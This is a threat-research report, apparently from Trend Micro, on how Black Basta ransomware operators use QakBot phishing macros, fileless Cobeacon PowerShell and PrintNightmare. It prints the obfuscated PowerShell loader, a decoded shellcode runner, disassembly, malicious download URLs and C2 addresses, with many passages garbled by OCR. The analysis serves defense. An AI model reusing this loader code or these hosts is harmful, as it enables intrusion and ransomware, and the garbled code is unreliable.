# Black Basta Ransomware Operators Expand Their Attack Arsenal With QakBot Trojan and PrintNightmare Exploit

b trendmicro.com/en\_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html

June 30, 2022

Since it became operational in April, <u>Black Basta</u> has garnered notoriety for <u>its recent attacks on 50 organizations around the</u> <u>world</u> and its use of <u>double extortion</u>, a modern ransomware tactic in which attackers encrypt confidential data and threaten to leak it if their demands are not met. The emerging <u>ransomware</u> group has continued to improve its attacks: We recently caught it using the banking trojan <u>QakBot</u> as a means of entry and movement, and taking advantage of <u>the PrintNightmare</u> <u>vulnerability (CVE-2021-34527</u>) to perform privileged file operations.

In the case of a Trend Micro customer, its system was infected with Black Basta ransomware that was deployed by QakBot (Figure 1). This behavior is typical of the QakBot malware family, which has served as a key enabler of ransomware families like <u>MegaCortex</u>, <u>PwndLockerm</u>, <u>Egregor</u>, <u>ProLock</u>, <u>and REvil (aka Sodinokibi)</u>. QakBot, which was discovered in 2007, is known for its infiltration capabilities and has been used as a "malware-installation-as-a-service" for various campaigns. Over the years, this banking trojan has become increasingly sophisticated, as evidenced by its exploitation of <u>a newly disclosed</u> <u>Microsoft zero-day vulnerability known as Follina (CVE-2022-30190)</u>.

5/2/2022 C:\Users\ \Downloads\c_3855059153.xlsb	Trojan.X97M.QAKBOT.YXCFH	
c:\\\beunsea.oooooocccccccxxxxxxxxxx		
c:\ \beunseb.ooooooocccccccxxxxxxxx	TrojanSpy.Win32.QAKBOT.YACEJT	
5/2/2022 c:\ \beunse.ooooooocccccccccccccccccccccccccccccc		
5/2/2022 c:\Users\Public\spider.dll	Trojan.Win64.QUAKNIGHTMARE.YACEJT	
-nop -w hidden -encodedcommand		
5/2/2022 JABzAD0ATgBIAHcALQBPAGIAagBIAGMAdAAgAEkATwAuAE0A	FILELESS COBEACON	Figure 1. A timeline of the files detected on the infected
5/2/2022 C:\Windows\150f1e6.exe	Trojan.Win32.COBEACON.SMYXBE2.hp	
5/4/2022 c:\users\public\runtimelisten.exe	Backdoor.Win32.COROXY.YACEKT	
5/4/2022 c:\windows\cps1.dll	Trojan.Win32.BLACKBASTA.YXCEJ	
5/4/2022 c:\windows\cps.exe	Ransom.Win32.BLACKBASTA.YACEJ	
5/4/2022 C:\\Users\\vadmin\\Downloads\\nmap-7.91-setup.exe	PUA.Win32.Netcat.B	
5/5/2022 C:\Program Files\Broadcom\BACS\readme.txt	Ransom.Win32.BLACKBASTA.A.note	
machine		

# QakBot's infection chain

QakBot is distributed using spear-phishing emails (Figure 2) that contain Excel files with Excel 4.0 macros. The emails entice the recipient to enable macros, which download and execute the QakBot DLL files (Figures 3 and 4). The downloaded QakBot DLL is dropped onto a specific file path and file name, and is executed via regsvr32.exe (Figure 5). The QakBot DLL performs process injection using explorer.exe (Figure 6), after which the injected Explorer process creates a scheduled task to maintain the malware's initial foothold in the infected system (Figure 7).



©2022 TREND MICRO

Figure 2. The infection chain from the point of entry to the Black Basta ransomware payload

File Home Insert PageLayout Formulas Data Review View
Marked as Final An author has marked this workbook as final to discourage editing.     Edit Anyway
i Signatures This document contains invalid signatures. View Signatures
Security Warning Some active content has been disabled. Click for more details.     Enable Content
A1 • f <sub>x</sub>
A B C D E F G H I J K L M N O P Q R
3
5 This document protected by
Alexandru Office
i interest of the second se
9
10
12
13
TO OPEN THIS DOCUMENT PLEASE FOLLOW THESE STEPS:
16
17 18 • Coloct Enchlo Editing
<sup>19</sup> • Select <b>Enable Editing</b>
22 22
23
<sup>24</sup> <sup>25</sup> • In the Microsoft Office Security Ontion dialog box, select <b>Enable Content</b>
26 In the Microsoft Office Security Option dialog box, select <b>Enable Content</b>
29
30
32
$\Box \rightarrow \Box$ If you are using a mobile device, try opening the file using the full office desktop app.
34 Figure 3. Instructions in the Excel file used by OakBet to lure a notential victim into enabling Excel 4.0 means
A 8 404 HTTPS lalualex.com /ApuUbp1ccd/Upnn.png 315 text/ntml; c excel:2244 Figure 4. The malicious
URL used to download the QakBot malware

C:\Program Files\Microsoft Office\Office14\ C:\Windows\System32\regsvr32.exe C:\Program Files\Microsoft Office\Office14\ C:\Program Files\Microsoft Office\Office14\	EXCEL.EXE new new EXCEL.EXE new EXCEL.EXE new	process regsvr32 C: process C:\Windows\exp process regsvr32 C: process regsvr32 C:	\Beunse.ooooooocccccccxxxxxxx korer.exe Beunsea.ooooooocccccccxxxxxxxx Beunseb.oooooooccccccxxxxxxxx	Figure 5. The downloaded QakBot
malware dropped onto a sp	pecific file	path and file name		
	1744	Microsoft Excel		
regsvr32.exe	3648	Microsoft(C) Register Server		
regsvr32.exe	3852	Microsoft(C) Register Server	Figure 6. The explorer.exe p	rocess used in process injection
explorer.exe	3672	Windows Explorer		
A 8 404 HTTPS	lalualex.com	/ApUUBp1ccd/Ophn.png	315 text/html; c e	xcel:2244 Figure 7. The scheduled

#### task created by QakBot

Once QakBot is installed in a system, it proceeds to download and drop the other components in the infection chain, beginning with the Cobeacon backdoor. We have observed the execution of Cobeacon using a fileless PowerShell script with multiple layers of obfuscation (Figures 8 to 11). The Base64-encoded shellcode of the installed Cobeacon establishes and names a pipe for communication (Figure 12) that is possibly used for exfiltration purposes once information has been collected from a targeted system. The Black Basta ransomware group posts this information on its leak sites if the victim does not pay the ransom.

#### -nop -w hidden -encodedcommand

THE THE CONSTRUCT OF THE CONSTRUCTION OF THE C TEBLAST AMABE XQOANQ AYADUAeQB3AH: AVABXAQQACABKADCAVABLADQAYABBXAGQACAMBLADQAYABBXAGCACQBPAEUAagA1AF1AZgB1ADUALMBWAEwAqQBuAFEA/ggbVADgAUQBCAUANQAZAE cAbQBE ADI AdwByAGQAbwB1AGQARMBBAGCACABB A SAAggB1 ADI AWABZAH: CAW#BWAE QAM#BXAGCACABNAFOAZABs ADE AQgBwAFUAUgBmAGMAeQBKAEQAT ABQAEE ASwBt AGE AYWBSAE'Y ACgBNAFYAZAAwAE4ARwAAAHKAagA1ADAASQBMAFUAR ABRAFCAMQBUAGSANQB5 AE QADABS AFCARwBFAGQACwABKAFYA DQBBAGwAUgBVAFI AMgBZAHE ACQBCACS ANQBLAHUATQBpAGMAYgBOAGYACgBCAGwAOQBOAFAANQBPACS AZgBWAHMAUABOAGE AQwBCAFMACgAr AEwAYgBhAHE ACQBVAHQAT ABWAG4AUABS AFUAbQBoAGI ANgBOAGGANAAr AFUARQBFAE ACAMABYAGAFA DUBDAMANDURAVAFL ANGED AATE ACUEL ALS ANVUE LATUAT UP DAMANA UBDA FARCED ALS ALGED ALG ABCLEMINGLICS ADJABINUT DO THE LIN BUMAN SAMPLOSS DIAL CLEMINANSIMULAS AFT LANDBATE BUMAN (2007) HAT LIN BUMAN SALE CLEMAN (2007) HAT LIN BUMAN SALE CLEMAN (2007) HAT LIN BUMAN SALE DAWN TABMAQQARQBnAHUAagBOACMAbgBQAEE ATQBnAEY ATMIBLAEUAQMB0AE oAZgBDAHE AABAFC AQQB LACAAMBTAE 4AbQBZAEANQBLAHQAABBZAEDAAZgBSADUAZgBZAHI AMABXADUANABJAKMANgBtADDAAABBAEI AT TAAAACAZgBI ACQATgBX ADkAbgByAQQAdQAzAFgadAByASs AZQBhADQAZQAyAHcAVQAnAHAANgASAHYAdgByAHgAbQBXADQAR ABI ADE AdwBWAE MAdQBWAFcAeQBXAFE AZQASAHHAAYQBMAZgBXAFLADUAABBAEI AT AAAACAZgBI ACQATgBX YgBUAFUAYwAyADcASwBoAFI ANwBWAHgAcwBI AESAAdBxADQAYgBmADI AZABS AEWAOQAS ACSAUABBACS AWABBAAHMAdAASADCATQAyADY AMwBMAHoAcgAxAHMAYQBmAGOATwBI AGQAYgBHAGOAMwBXAEY AdwAvAHE AYgBI ASQAVgB1AEY ALwBT ARQAMABZAFE ANABIADQAQQBHAE gAeAA2AF gAagBnAFAAeQBWAGE AUABIAGIAR AAAAEY YARuBOAGgAZQBY AFQAcuBqAE gAwuBAAEwAQgAvAHIAbgBqAHUARABZAFgAQQBVAHY ARwAAAGE AZgBS AE UASABOADMAUwAIADY AUwAvAGIA agBmAGCA TABIAFAAegB3AEE AZgBVAHQANgAwAHIAegBzAFE AVgAxAE MATABIADIATABQAE UAOABDAGMAZABQAHAAeAA3AHKARQBIAE 8AbwBs AE 4AdAB4AGS AdABMADCAdwAzAE gAdgBoAGY AYWBZADQAKWBUAHE AOAA3AE gAWgBMAGAA ADE ALwuBMAE GAY gAIAGS ANQBOAE CACAAZAE gAWgBJAGGATQBIAGS AbwBuAGE AZAAYAHQATWB3AFIAdwBaAFAACABOAHKACAB2AE CACQBNAE S AeQBPAE gARABKAHAAZQBT AGQAYgBIAHAAZgB2AE 8AUABSAHMATQA3ADUAAQA2AGIA AQAZAHE A UMA LADE AbgBLADMAJABGAGSANQBUAGWAYWBRAE CAEgBZAHE AZgA3ADCAEAA4AE KALWBOAGUAWQBRAGCAZgB LAEE ARWBP AEE AagBLAHI ALWA3AE 0AegBT AFAAZgB4AHCATQBQAG4AZABUAGI ATWB3AGUALWBnAHUAegBI AGQAZWBYAGY AEABH ADgAegBBADUAaQBmAEE AUgAr ADE ANABhAFoASAAwAHMANQBBAE 4AbQB3AE UAbwBZAFI AbABrAHI AYQBY AE gAUgAYAGSAKWBYAE KAZgB1 ADE AaABt AGS AKWAVAHCAC AA2AHAAQwBLAGC AR ABGADQASQA4AE KAYgBJAE MAcgBE AE S ARwBDAGQA NgBDAEwANAB3AGoAWwBBAGS ACAA0AE 4AeQBDAGSAAWwBt AEE AeQB6AEwARgA4AC S AQQBMAE gAUQBYAGSAKWBYAE KAZgB1 ADE ABABt AGS AKWAVAHCAC AA2AHAAQwBLAGC AR ABGADQASQA4AE KAYgBJAE MAcgBE AE S ARwBDAGQA NgBDAEwANAB3AGoAWwBBAGS ACAA0AE 4AeQBDAGSAAMwBt AEE AeQB6AEwARgA4AC S AQQBMAE gAUQBYAGSAE KAYgBA BAGAFE AUABQAFMAOAB AEY AUABZAE KACwAZ AG0AWgBDAGI ANQAS AC S AeABuAE MAeQB4AC S AQQBYAE S AUABCAFE ABGAE ASSAV(BXAGMAWABMAHAAVgBLACSAdgASASMAeQBJAHIAOQBQASKAeAAXAHYAbmA3AE4AZMA3ASGAOABIAHAAUgBIASAAAAB6ASYAeABKAESAYgByAEQAMMA2AEKAZMBAAFCAOQBIADKATQB3AEUAKMBYACBAAgBIADAARMBYAHgAamAxAGgA NgBnAFMAeAB4ADYASABpADgAcgBaADCAegBMADUAVMB3AFAASABIADEATAAVAHCAbABIAGSAbgBTAEQAcgBoAFAAQQBTAFKAWMBGAESA@QBGADASABKADYAZAEKAZMBAAFCAOQBIADKATQB3AEUAKMBYACBAAgBIADAARMBYAHgAamAxAGgA AgBnAFMAeAB4ADYASABpADgAcgBaADCAegBMADUAVMB3AFAASABIADEATAAVAHCAbABIAGSAbgBTAEQAcgBOAFAAQQBTAFKAWMBGAESA@QBGADASABKADYAZAEKAZMBAAFCAOQBIADKATQB3AEUAKMBYACBAAgBUASABKADYAZAEKAZMBAAFCAOQBIADKATQB3AEUAKMBYACBAAgBUASABKADYAZAEKAZMBAAFCAOQBIADKATQB3AEUAKMBYACBAAgAYABAFCATAAVABEGAUgBVACCAdgBL AG8AcmBYADgARABIAFUAeQ0B4AEMAMMBWAFIAUgAnAHAAVAAnAGgAcgBIAFKAVAB4AFCALMBVAFQADABLAESARAB5AEYAQMBSADAAKMBCADUAWgBTAGGASQAZAGEAZABHAEOARQBDADGAUABIAFGAQBNAFEADgBFASUAYGBDAHCAQQBBACKA KQAPADS ASQBFAFgAT AAOAE 4AZQB3AC0ATMB1 AGAZQB JAHQAT ABJAE BALgBT AHQAcgB1 AGE AbQBSAGUAYQBKAGUACgBAAE 4AZQB3AC0ATMB1 AGAZQBJAHQAT ABJAE 8ALgBDAGSAbQBwAHI AZQBZAHMAAQB VAG4ALgBHAHOAAQBwAFMAdABY AGUAYQB±ACgBJABZACwAMwBJAE 8ALgBDAGSAbQBwAHI AZQBZAHMAAQB VAG4ALgBDAGSAbQBwAHI AZQBZAHMAAQB VAG4ALgBLAGE AGUAYWB

#### Figure 8. Cobeacon's first layer of obfuscation, a Base64-encoded PowerShell command

%=New-Object 10.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAKMVb2e08D+HH6FPmTG9gQoCWkaepOZ8o45IDSmKS1IGCHLxERYIMkGp+ 1/vSWNKb0md5255ywwTWdpd77777K4cqgq0Ej5Rfe5SVLinQvo8QBe53GmD2wrdoHdGzgsDov52XswWVM9WgpMZd11BpURfcydDLPAKmacRFrMvd0MG8yj50ILUDQWITk5yJ81wGEjs0VmAlR/R2YqqB+ 5KuMtcVMrFnB19hP51+FvSPhaCB5r+LbaqUtLVnPLUmhb6hj4+UELtr/ML3Qp8RaezYpvXUZ75DLQQHEVALcfdbjB05II56a+co0vrwxrEnhfFpsbkLMp6k4sWR0XQZMyz8dJXjUILNY2 +TwS3PFFj55QvLr5LwF10700hjpeD1F2HDd0A5RcqapV70K02670P07UDKRgof0WLdcc4GuHisgrW97DHZvMeMedR55FstkClAcXBUdngv(hv3mw0/ldu1NzQLcZuL+rZ84rgdRQCSu/58TwNFPeJO ag3B+8f6IXB08/ULwK/c99wxVKcroAls6UADvEVd2Jye7ZEkhHnP1pZ/03aB5HvXBCsy41HUGRyKk1xRHft3rM0272F9Qeaa110rk/pzgvB3HenuRMrt2P93p/NQS+

SV0j216UhQT0/oj20404CUrZ1Q3n8s Z9RhN8ChmvgPw0zT289Rt7NESNKCTX9WaX12dGupC1UC27gFVDC+tmZNLemyCq2ugE80m+g6aHZV7zSX1pxdn+ltzuc6ulHk0CKHOSR45FDPq51E1kP7+q8oqniyNH+ 72Q6Z8gqXKzE2tZyDdX13nAVRMSCC7AMPIWVP1Y6ZRyaC079Ja7P1LzAXjWUzqmDEoObAUQU5gR2PhKM0Z4eb/zg+n6FB1r9aMrkA66UIthhfQc/YV1dANL6hr/IPbWZ2kRaGxykA6choI4DCu8ujeFwn6mpH/hXj/zb2fW8xPbtYF3SfSTA pxUoUVLpdEkujhcnPAWkFCKECtJ1iqhLW9UnSSMm/a5etw1%8f95fsr0WSGrc6m8xzBL4JfedMqnndu3Xtrkea4e2wU+p69vvrxmWADe1wVCUWyAQe9qm54d3fJP5

+hq8txd29EA9USbTUc27KhR7Vxse0tq4Vf2d1L99/Pt+Xxst97M263Lzr1safmOHdVan3qFu/qVHdV5F/Sur9ZBbeteBmb31c57ZFtWLXQvdvGf92FHcNL09VJLLPSTgVJSItz7o21X15qHcaJeHn59iLpd2PHjdDNcxeZTLxSgsnfh21I1B7 vGROUSt51x8Hr0aeqQS3PLB1u3a5VavXtRrft0sQ4H49GHx6XjgPyVaPHbD8FGtheXTsjHwxLB/rnjuDsXAovG8afyEHN3556S/bjfgLuPzwAFUt60rzsQV1CLe2LjE8CcdPpx7yEeOolNtxktL7w3Hvhfcs4 +nq87HVLZgPzVQ1SLJb5K5NGp3H5cjMekonad2tOwRwZPpNypvGqMKyOHDdpeSdVHpfvOPRsM7516bu6qS51ne3tzo5nlcQGzYqf77x8I/heYQgfuAGOAjHr/7MzSPfxwMjndTb0Ze/guzHdgrfxa8zA51fAR+

14a2H0s5AWmwEoYRlkraXHR2o+UIfelmM+/wp6pCKgDF4181b1CrDKGCdcCL4wjWAkp4NyCo3mAyzLF8+ULHQQhMmX2JQPPS8ZFP5I3mZCb59 +xnCyx+B2KPBQj3kUWIXLpVK+v91ycr9Pix1vo7Ng7m8HpRHnhzfxJKbrD36IgxW9H9MwE+X/ju0Grxk1h6g5xx6H18rZ7zL5WwPHe1L/w1eknSDrhPuSYWFKiz5HJ6dSR81T7GF70YYnWL0HRUgvKosX8DbUyxC3VRR+pT+hrbYTxW/oTtK KDyFCl0+B5Z5mI3adGJEC8PeX9MQnEebCwAA"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream(\$s,[IO.Compression.CompressionMode]::Decompress)).ReadToEnd();

Figure 9. Cobeacon's second layer of obfuscation, the loading and reading of an archive file in memory

Set-Strittmode -version 2
<pre>\$Dot: = @' function func_get_proc_address {         Param (\$var_module, \$var_procedure)         Svar_unsafe_native_methods = ([AppDemain]::CurrentDomain.GetAssemblies()   Where-Object { \$GlobalAssemblyCache -And \$Location.Split('\\')         [-1.Equals('system.dl') }).GetType('Microsoft.Win32.UnsafeNativeHethods')         Svar_gpa = \$var_unsafe_native_methods.GetHethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))         return \$var_gpa.Invoke(\$nult, @([System.Runtime.InteropServices.HandleRef'(New-Object IntPtr),         (\$var_unsafe_native_methods.GetHethod('GetProcAddress', Content (New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),         (\$var_unsafe_native_methods.GetHethod('GetProcAddress', Content (New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),         (\$var_unsafe_native_methods.GetHethod('GetProcAddress', Content (New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),         (\$var_unsafe_native_methods.GetHethod('GetProcAddress'))), \$var_procedure))     } </pre>
<pre>function func_get_delegate_type {     Param (         [Parameter(Position = 0, Mandatory = \$True)] [Type[]] \$var_parameters,         [Parameter(Position = 1)] [Type] \$var_return_type = [void]     ) </pre>
<pre>\$van_type_builder &gt; [AppDomain]::CurrentDomain.DefineDynamicAssembly(New-Object System.Reflection.AssemblyMame('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicHodule('InNemoryHodule', \$false).DefineType('HyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.HulticastDelegate]) Svan_type_builder.DefineConstructor('Rispecialname, HideBySig, Public', [System.Reflection.GineGonvertions]::Standard, \$van_parameters).SetImplementationFlags('Runtime, Hinaged') \$van_type_builder.DefineConstructor('Invoke', 'Public, HideBySig, NewSlot, Virtual', \$van_return_type, \$van_parameters).SetImplementationFlags('Runtime, Hanaged') \$van_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', \$van_return_type, \$van_parameters).SetImplementationFlags('Runtime, Hanaged')</pre>
return \$var_type_builder.CreateType() }
[Byte]]]\$var_code = [System.convert]::fromBase64String('38uqJyhjQ6rGevFHqHETqHETqHETqHETqHETqHETqHETqHETqHETqHE
<pre>for (\$x = 0; \$x -1t \$var_code.Count; \$x++) {</pre>
<pre>\$var_va = [System.Runtime.InteropServices.Narshal]::GetDelegateForFunctionPointer((func_get_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]])) yaar_buffer = \$var_va.Invoke([IntPtr]::Zero, \$var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Narshal]::Copy(\$var_code, 0, \$var_buffer, \$var_code.length)</pre>
\$var_runme = [5ystem.Runtime.InteropServices.Narshal]::GetDelegateForFunctionPointer(\$var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) \$var_runme.Invoke([IntPtr]::Zero) "@
If ([IntPtr]::size -eq 8) { start-job { param(\$a) IEX \$a } -RunAs32 -Argument \$DoIt   wait-job   Receive-Job

/ else { IEX \$DoIt }

Figure 10. Cobeacon's third layer of obfuscation, the decoded script for running the Base64-encoded shellcode

	-	· •	
000000000000000000000000000000000000000	FC	CLD	
000000000000000000000000000000000000000	E889000000	CALL 0000000-FFFFFF71	
00000000000000006	60	222	
0000000000000000	89E5	MOV EBP, ESP	
00000000000000000	31D2	XOR EDX, EDX	
000000000000000B	648B5230	MOV EDX, DWORD PTR FS: [RDX+30]	
0000000000000000	8B520C	MOV EDX, DWORD PTR [RDX+0C]	
0000000000000012	8B5214	MOV EDX, DWORD PTR [RDX+14]	
0000000000000015	8B7228	MOV ESI, DWORD PTR [RDX+28]	
0000000000000018	0FB74A26	MOVZX ECX, WORD PTR [RDX+26]	
0000000000000001C	31FF	XOR EDI,EDI	
000000000000001E	31C0	XOR EAX, EAX	
000000000000000000000000000000000000000	AC	LODS AL, BYTE PTR [RSI]	
00000000000000021	3C61	CMP AL,61	
0000000000000023	7C02	JL 00000000000027	
000000000000025	2C20	SUB AL,20	
0000000000000027	C1CF0D	ROR EDI, OD	Figure 44 Discoursely of the
000000000000002A	01C7	ADD EDI,EAX	Figure 11. Disassembly of the
000000000000002C	E2F0	LOOP 00000000000001E	
000000000000002E	52	PUSH RDX	
000000000000002F	57	PUSH RDI	
00000000000000030	8B5210	MOV EDX, DWORD PTR [RDX+10]	
0000000000000033	8B423C	MOV EAX, DWORD PTR [RDX+3C]	
0000000000000036	01D0	ADD EAX,EDX	
000000000000038	8B4078	MOV EAX, DWORD PTR [RAX+78]	
00000000000003B	85C0	TEST EAX,EAX	
000000000000003D	744A	JE 00000000000089	
000000000000003F	01D0	ADD EAX,EDX	
0000000000000041	50	PUSH RAX	
0000000000000042	8B4818	MOV ECX, DWORD PTR [RAX+18]	
0000000000000045	8B5820	MOV EBX, DWORD PTR [RAX+20]	
0000000000000048	01D3	ADD EBX,EDX	
00000000000004A	E33C	JRCXZ 0000000000088	
000000000000004C	498B348B	MOV RSI, QWORD PTR [R11+RCX*4]	
dooodod obolloodo	04.DC	ADD DOT DDV	
uecoueu snelicoue			

üè....`.ålÒd.RO.R..R..r(. JɛlÿlÀ¬<a|., ÁÏ .ÇâðRW.R..B<.Ð.@x.ÀtJ.ĐP.H..X .Óã<I.4..ÖlÿlÀ¬ÁÏ

.,GaðkW.R.15.-D.(%X.Atd.JDF.H..X .Od41.41.0191A-A1 .ÇBàkW.R.15.\*S, ûf..K.X..Ó....D.D\$\$[[aYZQÿàX\_Z..ë.]1Àj@h....hÿÿ..j.hX¤SåÿÕPé¨...Z1ÉQQh.°..h.°..j.j.j.j.RhEpßÔÿÕP..\$j.Rh(o}âÿÕ.

Àtnj.j.j.æ.Æ..â.Â..|\$.j.Vj.RWh..\_»ÿÕ.T\$.j.Vn. ..RWh..\_»ÿÕ.Àt..L\$...\$.È..\$.T\$..Âē×.|\$.WhÀúÝüÿÕWhÆ..RÿÕ..\$.L\$.9Át.hōµ∘VÿÕÿd\$.èSÿÿÿ\\.\pipe\halfduplex\_03....

Figure 12. Shellcode containing the named pipe for communication

# PrintNightmare and Coroxy

Upon further analysis of the system that was affected by Black Basta, we found evidence that points to the ransomware group's exploitation of the <u>PrintNightmare vulnerability</u>. Exploiting this vulnerability, Black Basta abused the Windows Print Spooler Service or spoolsv.exe to drop its payload, spider.dll, and perform privileged file operations. It also exploited the vulnerability to execute another file in the affected system, but samples of this file were no longer available in the system.

Additionally, our investigation found that the ransomware actors used the Coroxy backdoor. They used Coroxy in conjunction with the abuse of the computer networking utility tool Netcat to move laterally across the network. Once the attackers gained a wide foothold in the network, they executed the Black Basta ransomware, whose infection process we explained in more detail in <u>a previous blog post</u>.

# Thwarting phishing attempts

Spear phishing is a common precursor to ransomware infection. Organizations can protect their data from threats that spread through emails by adhering to best practices such as:

- Ensuring that macros are disabled in Microsoft Office applications.
- Verifying an email's sender and content before opening or downloading any attachments.
- Hovering the pointer over embedded links to show the links' full addresses.
- Being wary of telltale signs of malicious intent, including unfamiliar email addresses, mismatched email and sender names, and spoofed company emails.

Businesses and their employees can safeguard sensitive company data from email-borne ransomware threats like Black Basta by turning to endpoint solutions such as Trend Micro's <u>Smart Protection Suites</u> and <u>Worry-Free Business Security</u> solutions, which are equipped with behavior-monitoring capabilities that are able to detect malicious files, scripts, and messages, and block all related malicious URLs. <u>Trend Micro™ Deep Discovery™</u> also has a layer for <u>email inspection</u> that protects businesses by detecting any malicious attachments and URLs. Multilayered detection and response solutions like the <u>Trend Micro Vision One™</u> platform provides companies with greater visibility across multiple layers — like email, endpoints, servers, cloud workloads, and networks — to look out for suspicious behavior in their systems and block malicious components early, mitigating the risk of ransomware infection.

## Indicators of compromise

### Hashes

SHA-256	Trend Micro detection
01fafd51bb42f032b08b1c30130b963843fea0493500e871d6a6a87e555c7bac	Ransom.Win32.BLACKBASTA.YXCEP
72a48f8592d89eb53a18821a54fd791298fcc0b3fc6bf9397fd71498527e7c0e	Trojan.X97M.QAKBOT.YXCFH
580ce8b7f5a373d5d7fbfbfef5204d18b8f9407b0c2cbf3bcae808f4d642076a	Backdoor.Win32.COROXY.YACEKT
130af6a91aa9ecbf70456a0bee87f947bf4ddc2d2775459e3feac563007e1aed	Trojan.Win64.QUAKNIGHTMARE.YACEJT
c7eb0facf612dbf76f5e3fe665fe0c4bfed48d94edc872952a065139720e3166	TrojanSpy.Win32.QAKBOT.YXCEEZ
ffa7f0e7a2bb0edf4b7785b99aa39c96d1fe891eb6f89a65d76a57ff04ef17ab	TrojanSpy.Win32.QAKBOT.YACEJT
2083e4c80ade0ac39365365d55b243dbac2a1b5c3a700aad383c110db073f2d9	TrojanSpy.Win32.QAKBOT.YACEJT
1e7174f3d815c12562c5c1978af6abbf2d81df16a8724d2a1cf596065f3f15a2	TrojanSpy.Win32.QAKBOT.YACEJT
2d906ed670b24ebc3f6c54e7be5a32096058388886737b1541d793ff5d134ccb	TrojanSpy.Win32.QAKBOT.YACEJT

72fde47d3895b134784b19d664897b36ea6b9b8e19a602a0aaff5183c4ec7d24	TrojanSpy.Win32.QAKBOT.YACEJT
2e890fd02c3e0d85d69c698853494c1bab381c38d5272baa2a3c2bc0387684c1	TrojanSpy.Win32.QAKBOT.YACEJT
c9df12fbfcae3ac0894c1234e376945bc8268acdc20de72c8dd16bf1fab6bb70	Ransom.Win32.BLACKBASTA.YACEJ
8882186bace198be59147bcabae6643d2a7a490ad08298a4428a8e64e24907ad	Trojan.Win32.BLACKBASTA.YXCEJ
0e2b951ae07183c44416ff6fa8d7b8924348701efa75dd3cb14c708537471d27	Trojan.Win32.BLACKBASTA.YXCEJ
0d3af630c03350935a902d0cce4dc64c5cfff8012b2ffc2f4ce5040fdec524ed	Trojan.Win32.BLACKBASTA.YXCEJ
df35b45ed34eaca32cda6089acbfe638d2d1a3593d74019b6717afed90dbd5f8	Trojan.Win32.BLACKBASTA.YXCEJ
3fe73707c2042fefe56d0f277a3c91b5c943393cf42c2a4c683867d6866116fc	Trojan.Win32.BLACKBASTA.YXCEJ
433e572e880c40c7b73f9b4befbe81a5dca1185ba2b2c58b59a5a10a501d4236	Ransom.Win32.BLACKBASTA.A.note
c4683097a2615252eeddab06c54872efb14c2ee2da8997b1c73844e582081a79	PUA.Win32.Netcat.B

## URLs

24[.]178[.]196[.]44:2222 37[.]186[.]54[.]185:995 39[.]44[.]144[.]182:995 45[.]63[.]1[.]88:443 46[.]176[.]222[.]241:995 47[.]23[.]89[.]126:995 72[.]12[.]115[.]15:22 72[.]76[.]94[.]52:443 72[.]252[.]157[.]37:995 72[.]252[.]157[.]212:990 73[.]67[.]152[.]122:2222 75[.]99[.]168[.]46:61201 103[.]246[.]242[.]230:443 113[.]89[.]5[.]177:995 148[.]0[.]57[.]82:443 167[.]86[.]165[.]191:443 173[.]174[.]216[.]185:443 180[.]129[.]20[.]53:995 190[.]252[.]242[.]214:443 217[.]128[.]122[.]16:2222 elblogdeloscachanillas[.]com[.]mx/S3sY8RQ10/Ophn[.]png lalualex[.]com/ApUUBp1ccd/Ophn[.]png lizety[.]com/mJYvpo2xhx/Ophn[.]png